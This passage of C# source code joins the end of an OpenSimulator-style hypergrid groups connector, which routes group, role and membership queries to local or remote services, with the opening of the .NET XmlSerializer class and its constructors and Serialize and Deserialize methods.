RequestingAgentID, string name, string charter, bool showInList, UUID insigniaID, int membershipFee, bool openEnrollment, bool allowPublish, bool maturePublish, UUID founderID, out string reason) { reason = string.Empty; if (m_UserManagement.IsLocalGridUser(RequestingAgentID)) return m_LocalGroupsConnector.CreateGroup(RequestingAgentID, name, charter, showInList, insigniaID, membershipFee, openEnrollment, allowPublish, maturePublish, founderID, out reason); else { reason = "Only local grid users are allowed to create a new group"; return UUID.Zero; } } public List<DirGroupsReplyData> FindGroups(string RequestingAgentID, string search) { return m_LocalGroupsConnector.FindGroups(AgentUUI(RequestingAgentID), search); } public ExtendedGroupMembershipData GetAgentActiveMembership(string RequestingAgentID, string AgentID) { return m_LocalGroupsConnector.GetAgentActiveMembership(AgentUUI(RequestingAgentID), AgentUUI(AgentID)); } public ExtendedGroupMembershipData GetAgentGroupMembership(string RequestingAgentID, string AgentID, UUID GroupID) { string url = string.Empty, gname = string.Empty; if (IsLocal(GroupID, out url, out gname)) return m_LocalGroupsConnector.GetAgentGroupMembership(AgentUUI(RequestingAgentID), AgentUUI(AgentID), GroupID); else return null; } public List<GroupMembershipData> GetAgentGroupMemberships(string RequestingAgentID, string AgentID) { return m_LocalGroupsConnector.GetAgentGroupMemberships(AgentUUI(RequestingAgentID), AgentUUI(AgentID)); } public List<GroupRolesData> GetAgentGroupRoles(string RequestingAgentID, string AgentID, UUID GroupID) { string url = string.Empty, gname = string.Empty; if (IsLocal(GroupID, out url, out gname)) return m_LocalGroupsConnector.GetAgentGroupRoles(AgentUUI(RequestingAgentID), AgentUUI(AgentID), GroupID); else return new List<GroupRolesData>(); } public GroupInviteInfo GetAgentToGroupInvite(string RequestingAgentID, UUID inviteID) { return m_LocalGroupsConnector.GetAgentToGroupInvite(AgentUUI(RequestingAgentID), inviteID); ; } public List<GroupMembersData> GetGroupMembers(string RequestingAgentID, UUID GroupID) { string url = string.Empty, gname = string.Empty; if (IsLocal(GroupID, out url, out gname)) { string agentID = AgentUUI(RequestingAgentID); return m_LocalGroupsConnector.GetGroupMembers(agentID, GroupID); } else if (!string.IsNullOrEmpty(url)) { ExtendedGroupMembershipData membership = m_LocalGroupsConnector.GetAgentGroupMembership(RequestingAgentID, RequestingAgentID, GroupID); string accessToken = string.Empty; if (membership != null) accessToken = membership.AccessToken; else return null; GroupsServiceHGConnector c = GetConnector(url); if (c != null) { return m_CacheWrapper.GetGroupMembers(RequestingAgentID, GroupID, delegate { return c.GetGroupMembers(AgentUUIForOutside(RequestingAgentID), GroupID, accessToken); }); } } return new List<GroupMembersData>(); } public GroupNoticeInfo GetGroupNotice(string RequestingAgentID, UUID noticeID) { GroupNoticeInfo notice = m_LocalGroupsConnector.GetGroupNotice(AgentUUI(RequestingAgentID), noticeID); if (notice != null && notice.noticeData.HasAttachment && notice.noticeData.AttachmentOwnerID != null) ImportForeigner(notice.noticeData.AttachmentOwnerID); return notice; } public List<ExtendedGroupNoticeData> GetGroupNotices(string RequestingAgentID, UUID GroupID) { return m_LocalGroupsConnector.GetGroupNotices(AgentUUI(RequestingAgentID), GroupID); } public ExtendedGroupRecord GetGroupRecord(string RequestingAgentID, UUID GroupID, string GroupName) { string url = string.Empty; string name = string.Empty; if (IsLocal(GroupID, out url, out name)) return m_LocalGroupsConnector.GetGroupRecord(AgentUUI(RequestingAgentID), GroupID, GroupName); else if (url != string.Empty) { ExtendedGroupMembershipData membership = m_LocalGroupsConnector.GetAgentGroupMembership(RequestingAgentID, RequestingAgentID, GroupID); string accessToken = string.Empty; if (membership != null) accessToken = membership.AccessToken; else return null; GroupsServiceHGConnector c = GetConnector(url); if (c != null) { ExtendedGroupRecord grec = m_CacheWrapper.GetGroupRecord(RequestingAgentID, GroupID, GroupName, delegate { return c.GetGroupRecord(AgentUUIForOutside(RequestingAgentID), GroupID, GroupName, accessToken); }); if (grec != null) ImportForeigner(grec.FounderUUI); return grec; } } return null; } public List<GroupRoleMembersData> GetGroupRoleMembers(string RequestingAgentID, UUID groupID) { string url = string.Empty, gname = string.Empty; if (IsLocal(groupID, out url, out gname)) return m_LocalGroupsConnector.GetGroupRoleMembers(AgentUUI(RequestingAgentID), groupID); else if (!string.IsNullOrEmpty(url)) { ExtendedGroupMembershipData membership = m_LocalGroupsConnector.GetAgentGroupMembership(RequestingAgentID, RequestingAgentID, groupID); string accessToken = string.Empty; if (membership != null) accessToken = membership.AccessToken; else return null; GroupsServiceHGConnector c = GetConnector(url); if (c != null) { return m_CacheWrapper.GetGroupRoleMembers(RequestingAgentID, groupID, delegate { return c.GetGroupRoleMembers(AgentUUIForOutside(RequestingAgentID), groupID, accessToken); }); } } return new List<GroupRoleMembersData>(); } public List<GroupRolesData> GetGroupRoles(string RequestingAgentID, UUID groupID) { string url = string.Empty, gname = string.Empty; if (IsLocal(groupID, out url, out gname)) return m_LocalGroupsConnector.GetGroupRoles(AgentUUI(RequestingAgentID), groupID); else if (!string.IsNullOrEmpty(url)) { ExtendedGroupMembershipData membership = m_LocalGroupsConnector.GetAgentGroupMembership(RequestingAgentID, RequestingAgentID, groupID); string accessToken = string.Empty; if (membership != null) accessToken = membership.AccessToken; else return null; GroupsServiceHGConnector c = GetConnector(url); if (c != null) { return m_CacheWrapper.GetGroupRoles(RequestingAgentID, groupID, delegate { return c.GetGroupRoles(AgentUUIForOutside(RequestingAgentID), groupID, accessToken); }); } } return new List<GroupRolesData>(); } public void RemoveAgentFromGroup(string RequestingAgentID, string AgentID, UUID GroupID) { string url = string.Empty, name = string.Empty; if (!IsLocal(GroupID, out url, out name) && url != string.Empty) { ExtendedGroupMembershipData membership = m_LocalGroupsConnector.GetAgentGroupMembership(AgentUUI(RequestingAgentID), AgentUUI(AgentID), GroupID); if (membership != null) { GroupsServiceHGConnector c = GetConnector(url); if (c != null) c.RemoveAgentFromGroup(AgentUUIForOutside(AgentID), GroupID, membership.AccessToken); } } // remove from local service m_LocalGroupsConnector.RemoveAgentFromGroup(AgentUUI(RequestingAgentID), AgentUUI(AgentID), GroupID); } public void RemoveAgentFromGroupRole(string RequestingAgentID, string AgentID, UUID GroupID, UUID RoleID) { string url = string.Empty, gname = string.Empty; if (IsLocal(GroupID, out url, out gname)) m_LocalGroupsConnector.RemoveAgentFromGroupRole(AgentUUI(RequestingAgentID), AgentUUI(AgentID), GroupID, RoleID); } public void RemoveAgentToGroupInvite(string RequestingAgentID, UUID inviteID) { m_LocalGroupsConnector.RemoveAgentToGroupInvite(AgentUUI(RequestingAgentID), inviteID); } public void RemoveGroupRole(string RequestingAgentID, UUID groupID, UUID roleID) { string url = string.Empty, gname = string.Empty; if (IsLocal(groupID, out url, out gname)) m_LocalGroupsConnector.RemoveGroupRole(AgentUUI(RequestingAgentID), groupID, roleID); else { return; } } public void SetAgentActiveGroup(string RequestingAgentID, string AgentID, UUID GroupID) { string url = string.Empty, gname = string.Empty; if (IsLocal(GroupID, out url, out gname)) m_LocalGroupsConnector.SetAgentActiveGroup(AgentUUI(RequestingAgentID), AgentUUI(AgentID), GroupID); } public void SetAgentActiveGroupRole(string RequestingAgentID, string AgentID, UUID GroupID, UUID RoleID) { string url = string.Empty, gname = string.Empty; if (IsLocal(GroupID, out url, out gname)) m_LocalGroupsConnector.SetAgentActiveGroupRole(AgentUUI(RequestingAgentID), AgentUUI(AgentID), GroupID, RoleID); } public bool UpdateGroup(string RequestingAgentID, UUID groupID, string charter, bool showInList, UUID insigniaID, int membershipFee, bool openEnrollment, bool allowPublish, bool maturePublish, out string reason) { reason = string.Empty; string url = string.Empty; string name = string.Empty; if (IsLocal(groupID, out url, out name)) return m_LocalGroupsConnector.UpdateGroup(AgentUUI(RequestingAgentID), groupID, charter, showInList, insigniaID, membershipFee, openEnrollment, allowPublish, maturePublish, out reason); else { reason = "Changes to remote group not allowed. Please go to the group's original world."; return false; } } public bool UpdateGroupRole(string RequestingAgentID, UUID groupID, UUID roleID, string name, string description, string title, ulong powers) { string url = string.Empty, gname = string.Empty; if (IsLocal(groupID, out url, out gname)) return m_LocalGroupsConnector.UpdateGroupRole(AgentUUI(RequestingAgentID), groupID, roleID, name, description, title, powers); else { return false; } } public void UpdateMembership(string RequestingAgentID, string AgentID, UUID GroupID, bool AcceptNotices, bool ListInProfile) { m_LocalGroupsConnector.UpdateMembership(AgentUUI(RequestingAgentID), AgentUUI(AgentID), GroupID, AcceptNotices, ListInProfile); } #endregion IGroupsServicesConnector #region hypergrid groups private string AgentUUI(string AgentIDStr) { UUID AgentID = UUID.Zero; try { AgentID = new UUID(AgentIDStr); } catch (FormatException) { return AgentID.ToString(); } if (m_UserManagement.IsLocalGridUser(AgentID)) return AgentID.ToString(); AgentCircuitData agent = null; foreach (Scene scene in m_Scenes) { agent = scene.AuthenticateHandler.GetAgentCircuitData(AgentID); if (agent != null) break; } if (agent != null) return Util.ProduceUserUniversalIdentifier(agent); // we don't know anything about this foreign user // try asking the user management module, which may know more return m_UserManagement.GetUserUUI(AgentID); } private string AgentUUIForOutside(string AgentIDStr) { UUID AgentID = UUID.Zero; try { AgentID = new UUID(AgentIDStr); } catch (FormatException) { return AgentID.ToString(); } AgentCircuitData agent = null; foreach (Scene scene in m_Scenes) { agent = scene.AuthenticateHandler.GetAgentCircuitData(AgentID); if (agent != null) break; } if (agent == null) // oops return AgentID.ToString(); return Util.ProduceUserUniversalIdentifier(agent); } private GroupsServiceHGConnector GetConnector(string url) { m_RwLock.AcquireReaderLock(-1); try { if (m_NetworkConnectors.ContainsKey(url)) { return m_NetworkConnectors[url]; } LockCookie lc = m_RwLock.UpgradeToWriterLock(-1); GroupsServiceHGConnector c = new GroupsServiceHGConnector(url); m_NetworkConnectors[url] = c; m_RwLock.DowngradeFromWriterLock(ref lc); return c; } finally { m_RwLock.ReleaseReaderLock(); } } private UUID ImportForeigner(string uID) { UUID userID = UUID.Zero; string url = string.Empty, first = string.Empty, last = string.Empty, tmp = string.Empty; if (Util.ParseUniversalUserIdentifier(uID, out userID, out url, out first, out last, out tmp)) m_UserManagement.AddUser(userID, first, last, url); return userID; } private bool IsLocal(UUID groupID, out string serviceLocation, out string name) { serviceLocation = string.Empty; name = string.Empty; if (groupID.Equals(UUID.Zero)) return true; ExtendedGroupRecord group = m_LocalGroupsConnector.GetGroupRecord(UUID.Zero.ToString(), groupID, string.Empty); if (group == null) { //m_log.DebugFormat("[XXX]: IsLocal? group {0} not found -- no.", groupID); return false; } serviceLocation = group.ServiceLocation; name = group.GroupName; bool isLocal = (group.ServiceLocation == string.Empty); //m_log.DebugFormat("[XXX]: IsLocal? {0}", isLocal); return isLocal; } #endregion hypergrid groups } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. namespace System.Xml.Serialization { using System.Reflection; using System.Collections; using System.IO; using System.Xml.Schema; using System; using System.Text; using System.Threading; using System.Globalization; using System.Security; using System.Xml.Serialization.Configuration; using System.Diagnostics; using System.Collections.Generic; using System.Runtime.Versioning; using System.Xml; using System.Xml.Serialization; /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlDeserializationEvents"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public struct XmlDeserializationEvents { private XmlNodeEventHandler _onUnknownNode; private XmlAttributeEventHandler _onUnknownAttribute; private XmlElementEventHandler _onUnknownElement; private UnreferencedObjectEventHandler _onUnreferencedObject; internal object sender; /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlDeserializationEvents.OnUnknownNode"]/*' /> public XmlNodeEventHandler OnUnknownNode { get { return _onUnknownNode; } set { _onUnknownNode = value; } } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlDeserializationEvents.OnUnknownAttribute"]/*' /> public XmlAttributeEventHandler OnUnknownAttribute { get { return _onUnknownAttribute; } set { _onUnknownAttribute = value; } } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlDeserializationEvents.OnUnknownElement"]/*' /> public XmlElementEventHandler OnUnknownElement { get { return _onUnknownElement; } set { _onUnknownElement = value; } } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlDeserializationEvents.OnUnreferencedObject"]/*' /> public UnreferencedObjectEventHandler OnUnreferencedObject { get { return _onUnreferencedObject; } set { _onUnreferencedObject = value; } } } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializerImplementation"]/*' /> ///<internalonly/> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public abstract class XmlSerializerImplementation { /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializerImplementation.Reader"]/*' /> public virtual XmlSerializationReader Reader { get { throw new NotSupportedException(); } } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializerImplementation.Writer"]/*' /> public virtual XmlSerializationWriter Writer { get { throw new NotSupportedException(); } } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializerImplementation.ReadMethods"]/*' /> public virtual Hashtable ReadMethods { get { throw new NotSupportedException(); } } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializerImplementation.WriteMethods"]/*' /> public virtual Hashtable WriteMethods { get { throw new NotSupportedException(); } } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializerImplementation.TypedSerializers"]/*' /> public virtual Hashtable TypedSerializers { get { throw new NotSupportedException(); } } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializerImplementation.CanSerialize"]/*' /> public virtual bool CanSerialize(Type type) { throw new NotSupportedException(); } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializerImplementation.GetSerializer"]/*' /> public virtual XmlSerializer GetSerializer(Type type) { throw new NotSupportedException(); } } // This enum is intentionally kept outside of the XmlSerializer class since if it would be a subclass // of XmlSerializer, then any access to this enum would be treated by AOT compilers as access to the XmlSerializer // as well, which has a large static ctor which brings in a lot of code. So keeping the enum separate // makes sure that using just the enum itself doesn't bring in the whole of serialization code base. #if FEATURE_SERIALIZATION_UAPAOT public enum SerializationMode #else internal enum SerializationMode #endif { CodeGenOnly, ReflectionOnly, ReflectionAsBackup, PreGenOnly } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public class XmlSerializer { #if FEATURE_SERIALIZATION_UAPAOT public static SerializationMode Mode { get; set; } = SerializationMode.ReflectionAsBackup; #else internal static SerializationMode Mode { get; set; } = SerializationMode.ReflectionAsBackup; #endif private static bool ReflectionMethodEnabled { get { return Mode == SerializationMode.ReflectionOnly || Mode == SerializationMode.ReflectionAsBackup; } } private TempAssembly _tempAssembly; #pragma warning disable 0414 private bool _typedSerializer; #pragma warning restore 0414 private Type _primitiveType; private XmlMapping _mapping; private XmlDeserializationEvents _events = new XmlDeserializationEvents(); #if FEATURE_SERIALIZATION_UAPAOT private XmlSerializer innerSerializer; public string DefaultNamespace = null; #else internal string DefaultNamespace = null; #endif private Type _rootType; private bool _isReflectionBasedSerializer = false; private static TempAssemblyCache s_cache = new TempAssemblyCache(); private static volatile XmlSerializerNamespaces s_defaultNamespaces; private static XmlSerializerNamespaces DefaultNamespaces { get { if (s_defaultNamespaces == null) { XmlSerializerNamespaces nss = new XmlSerializerNamespaces(); nss.AddInternal("xsi", XmlSchema.InstanceNamespace); nss.AddInternal("xsd", XmlSchema.Namespace); if (s_defaultNamespaces == null) { s_defaultNamespaces = nss; } } return s_defaultNamespaces; } } private static readonly Dictionary<Type, Dictionary<XmlSerializerMappingKey, XmlSerializer>> s_xmlSerializerTable = new Dictionary<Type, Dictionary<XmlSerializerMappingKey, XmlSerializer>>(); /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.XmlSerializer8"]/*' /> ///<internalonly/> protected XmlSerializer() { } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.XmlSerializer"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public XmlSerializer(Type type, XmlAttributeOverrides overrides, Type[] extraTypes, XmlRootAttribute root, string defaultNamespace) : this(type, overrides, extraTypes, root, defaultNamespace, null) { } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.XmlSerializer2"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public XmlSerializer(Type type, XmlRootAttribute root) : this(type, null, Array.Empty<Type>(), root, null, null) { } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.XmlSerializer3"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public XmlSerializer(Type type, Type[] extraTypes) : this(type, null, extraTypes, null, null, null) { } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.XmlSerializer4"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public XmlSerializer(Type type, XmlAttributeOverrides overrides) : this(type, overrides, Array.Empty<Type>(), null, null, null) { } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.XmlSerializer5"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public XmlSerializer(XmlTypeMapping xmlTypeMapping) { if (xmlTypeMapping == null) throw new ArgumentNullException(nameof(xmlTypeMapping)); #if !FEATURE_SERIALIZATION_UAPAOT _tempAssembly = GenerateTempAssembly(xmlTypeMapping); #endif _mapping = xmlTypeMapping; } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.XmlSerializer6"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public XmlSerializer(Type type) : this(type, (string)null) { } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.XmlSerializer1"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public XmlSerializer(Type type, string defaultNamespace) { if (type == null) throw new ArgumentNullException(nameof(type)); DefaultNamespace = defaultNamespace; _rootType = type; _mapping = GetKnownMapping(type, defaultNamespace); if (_mapping != null) { _primitiveType = type; return; } #if !FEATURE_SERIALIZATION_UAPAOT _tempAssembly = s_cache[defaultNamespace, type]; if (_tempAssembly == null) { lock (s_cache) { _tempAssembly = s_cache[defaultNamespace, type]; if (_tempAssembly == null) { { XmlSerializerImplementation contract = null; Assembly assembly = TempAssembly.LoadGeneratedAssembly(type, defaultNamespace, out contract); if (assembly == null) { if (Mode == SerializationMode.PreGenOnly) { AssemblyName name = type.Assembly.GetName(); var serializerName = Compiler.GetTempAssemblyName(name, defaultNamespace); throw new FileLoadException(SR.Format(SR.FailLoadAssemblyUnderPregenMode, serializerName)); } // need to reflect and generate new serialization assembly XmlReflectionImporter importer = new XmlReflectionImporter(defaultNamespace); _mapping = importer.ImportTypeMapping(type, null, defaultNamespace); _tempAssembly = GenerateTempAssembly(_mapping, type, defaultNamespace); } else { // we found the pre-generated assembly, now make sure that the assembly has the right serializer // try to avoid the reflection step, need to get ElementName, namespace and the Key form the type _mapping = XmlReflectionImporter.GetTopLevelMapping(type, defaultNamespace); _tempAssembly = new TempAssembly(new XmlMapping[] { _mapping }, assembly, contract); } } } s_cache.Add(defaultNamespace, type, _tempAssembly); } } if (_mapping == null) { _mapping = XmlReflectionImporter.GetTopLevelMapping(type, defaultNamespace); } #else XmlSerializerImplementation contract = GetXmlSerializerContractFromGeneratedAssembly(); if (contract != null) { this.innerSerializer = contract.GetSerializer(type); } #endif } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.XmlSerializer7"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public XmlSerializer(Type type, XmlAttributeOverrides overrides, Type[] extraTypes, XmlRootAttribute root, string defaultNamespace, string location) { if (type == null) throw new ArgumentNullException(nameof(type)); DefaultNamespace = defaultNamespace; _rootType = type; _mapping = GenerateXmlTypeMapping(type, overrides, extraTypes, root, defaultNamespace); #if !FEATURE_SERIALIZATION_UAPAOT _tempAssembly = GenerateTempAssembly(_mapping, type, defaultNamespace, location); #endif } private XmlTypeMapping GenerateXmlTypeMapping(Type type, XmlAttributeOverrides overrides, Type[] extraTypes, XmlRootAttribute root, string defaultNamespace) { XmlReflectionImporter importer = new XmlReflectionImporter(overrides, defaultNamespace); if (extraTypes != null) { for (int i = 0; i < extraTypes.Length; i++) importer.IncludeType(extraTypes[i]); } return importer.ImportTypeMapping(type, root, defaultNamespace); } internal static TempAssembly GenerateTempAssembly(XmlMapping xmlMapping) { return GenerateTempAssembly(xmlMapping, null, null); } internal static TempAssembly GenerateTempAssembly(XmlMapping xmlMapping, Type type, string defaultNamespace) { return GenerateTempAssembly(xmlMapping, type, defaultNamespace, null); } internal static TempAssembly GenerateTempAssembly(XmlMapping xmlMapping, Type type, string defaultNamespace, string location) { if (xmlMapping == null) { throw new ArgumentNullException(nameof(xmlMapping)); } xmlMapping.CheckShallow(); if (xmlMapping.IsSoap) { return null; } return new TempAssembly(new XmlMapping[] { xmlMapping }, new Type[] { type }, defaultNamespace, location); } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.Serialize"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public void Serialize(TextWriter textWriter, object o) { Serialize(textWriter, o, null); } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.Serialize1"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public void Serialize(TextWriter textWriter, object o, XmlSerializerNamespaces namespaces) { XmlTextWriter xmlWriter = new XmlTextWriter(textWriter); xmlWriter.Formatting = Formatting.Indented; xmlWriter.Indentation = 2; Serialize(xmlWriter, o, namespaces); } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.Serialize2"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public void Serialize(Stream stream, object o) { Serialize(stream, o, null); } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.Serialize3"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public void Serialize(Stream stream, object o, XmlSerializerNamespaces namespaces) { XmlTextWriter xmlWriter = new XmlTextWriter(stream, null); xmlWriter.Formatting = Formatting.Indented; xmlWriter.Indentation = 2; Serialize(xmlWriter, o, namespaces); } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.Serialize4"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public void Serialize(XmlWriter xmlWriter, object o) { Serialize(xmlWriter, o, null); } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.Serialize5"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public void Serialize(XmlWriter xmlWriter, object o, XmlSerializerNamespaces namespaces) { Serialize(xmlWriter, o, namespaces, null); } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.Serialize6"]/*' /> public void Serialize(XmlWriter xmlWriter, object o, XmlSerializerNamespaces namespaces, string encodingStyle) { Serialize(xmlWriter, o, namespaces, encodingStyle, null); } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.Serialize6"]/*' /> public void Serialize(XmlWriter xmlWriter, object o, XmlSerializerNamespaces namespaces, string encodingStyle, string id) { try { if (_primitiveType != null) { if (encodingStyle != null && encodingStyle.Length > 0) { throw new InvalidOperationException(SR.Format(SR.XmlInvalidEncodingNotEncoded1, encodingStyle)); } SerializePrimitive(xmlWriter, o, namespaces); } else if (ShouldUseReflectionBasedSerialization(_mapping) || _isReflectionBasedSerializer) { SerializeUsingReflection(xmlWriter, o, namespaces, encodingStyle, id); } #if !FEATURE_SERIALIZATION_UAPAOT else if (_tempAssembly == null || _typedSerializer) { // The contion for the block is never true, thus the block is never hit. XmlSerializationWriter writer = CreateWriter(); writer.Init(xmlWriter, namespaces == null || namespaces.Count == 0 ? DefaultNamespaces : namespaces, encodingStyle, id, _tempAssembly); try { Serialize(o, writer); } finally { writer.Dispose(); } } else _tempAssembly.InvokeWriter(_mapping, xmlWriter, o, namespaces == null || namespaces.Count == 0 ? DefaultNamespaces : namespaces, encodingStyle, id); #else else { if (this.innerSerializer != null) { if (!string.IsNullOrEmpty(this.DefaultNamespace)) { this.innerSerializer.DefaultNamespace = this.DefaultNamespace; } XmlSerializationWriter writer = this.innerSerializer.CreateWriter(); writer.Init(xmlWriter, namespaces == null || namespaces.Count == 0 ? DefaultNamespaces : namespaces, encodingStyle, id); try { this.innerSerializer.Serialize(o, writer); } finally { writer.Dispose(); } } else if (ReflectionMethodEnabled) { SerializeUsingReflection(xmlWriter, o, namespaces, encodingStyle, id); } else { throw new InvalidOperationException(SR.Format(SR.Xml_MissingSerializationCodeException, this._rootType, typeof(XmlSerializer).Name)); } } #endif } catch (Exception e) { if (e is TargetInvocationException) e = e.InnerException; throw new InvalidOperationException(SR.XmlGenError, e); } xmlWriter.Flush(); } private void SerializeUsingReflection(XmlWriter xmlWriter, object o, XmlSerializerNamespaces namespaces, string encodingStyle, string id) { XmlMapping mapping = GetMapping(); var writer = new ReflectionXmlSerializationWriter(mapping, xmlWriter, namespaces == null || namespaces.Count == 0 ? DefaultNamespaces : namespaces, encodingStyle, id); writer.WriteObject(o); } private XmlMapping GetMapping() { if (_mapping == null || !_mapping.GenerateSerializer) { _mapping = GenerateXmlTypeMapping(_rootType, null, null, null, DefaultNamespace); } return _mapping; } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.Deserialize"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public object Deserialize(Stream stream) { XmlTextReader xmlReader = new XmlTextReader(stream); xmlReader.WhitespaceHandling = WhitespaceHandling.Significant; xmlReader.Normalization = true; xmlReader.XmlResolver = null; return Deserialize(xmlReader, null); } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.Deserialize1"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public object Deserialize(TextReader textReader) { XmlTextReader xmlReader = new XmlTextReader(textReader); xmlReader.WhitespaceHandling = WhitespaceHandling.Significant; xmlReader.Normalization = true; xmlReader.XmlResolver = null; return Deserialize(xmlReader, null); } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.Deserialize2"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public object Deserialize(XmlReader xmlReader) { return Deserialize(xmlReader, null); } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.Deserialize3"]/*' /> public object Deserialize(XmlReader xmlReader, XmlDeserializationEvents events) { return Deserialize(xmlReader, null, events); } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.Deserialize4"]/*' /> public object Deserialize(XmlReader xmlReader, string encodingStyle) { return Deserialize(xmlReader, encodingStyle, _events); } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.Deserialize5"]/*' /> public object Deserialize(XmlReader xmlReader, string encodingStyle, XmlDeserializationEvents events) { events.sender = this; try { if (_primitiveType != null) { if (encodingStyle != null && encodingStyle.Length > 0) { throw new InvalidOperationException(SR.Format(SR.XmlInvalidEncodingNotEncoded1, encodingStyle)); } return DeserializePrimitive(xmlReader, events); } else if (ShouldUseReflectionBasedSerialization(_mapping) || _isReflectionBasedSerializer) { return DeserializeUsingReflection(xmlReader, encodingStyle, events); } #if !FEATURE_SERIALIZATION_UAPAOT else if (_tempAssembly == null || _typedSerializer) { XmlSerializationReader reader = CreateReader(); reader.Init(xmlReader, events, encodingStyle, _tempAssembly); try { return Deserialize(reader); } finally { reader.Dispose(); } } else { return _tempAssembly.InvokeReader(_mapping, xmlReader, events, encodingStyle); } #else else { if (this.innerSerializer != null) { if (!string.IsNullOrEmpty(this.DefaultNamespace)) { this.innerSerializer.DefaultNamespace = this.DefaultNamespace; } XmlSerializationReader reader = this.innerSerializer.CreateReader(); reader.Init(xmlReader, events, encodingStyle); try { return this.innerSerializer.Deserialize(reader); } finally { reader.Dispose(); } } else if (ReflectionMethodEnabled) { return DeserializeUsingReflection(xmlReader, encodingStyle, events); } else { throw new InvalidOperationException(SR.Format(SR.Xml_MissingSerializationCodeException, this._rootType, typeof(XmlSerializer).Name)); } } #endif } catch (Exception e) { if (e is TargetInvocationException) e = e.InnerException; if (xmlReader is IXmlLineInfo) { IXmlLineInfo lineInfo = (IXmlLineInfo)xmlReader; throw new InvalidOperationException(SR.Format(SR.XmlSerializeErrorDetails, lineInfo.LineNumber.ToString(CultureInfo.InvariantCulture), lineInfo.LinePosition.ToString(CultureInfo.InvariantCulture)), e); } else { throw new InvalidOperationException(SR.XmlSerializeError, e); } } } private object DeserializeUsingReflection(XmlReader xmlReader, string encodingStyle, XmlDeserializationEvents events) { XmlMapping mapping = GetMapping(); var reader = new ReflectionXmlSerializationReader(mapping, xmlReader, events, encodingStyle); return reader.ReadObject(); } private static bool ShouldUseReflectionBasedSerialization(XmlMapping mapping) { return Mode == SerializationMode.ReflectionOnly || (mapping != null && mapping.IsSoap); } /// <include file='doc\XmlSerializer.uex' path='docs/doc[@for="XmlSerializer.CanDeserialize"]/*' /> /// <devdoc> /// <para>[To be supplied.]</para> /// </devdoc> public virtual bool CanDeserialize(XmlReader xmlReader) { if (_primitiveType != null) { TypeDesc typeDesc = (TypeDesc)TypeScope.PrimtiveTypes[_primitiveType]; return xmlReader.IsStartElement(typeDesc.DataType.Name, string.Empty); } #if !FEATURE_SERIALIZATION_UAPAOT else if (_tempAssembly != null) { return _tempAssembly.CanRead(_mapping, xmlReader); } else { return false; } #else if (this.innerSerializer != null) { return this.innerSerializer.CanDeserialize(xmlReader); } else { return ReflectionMethodEnabled; } #endif } /// <include 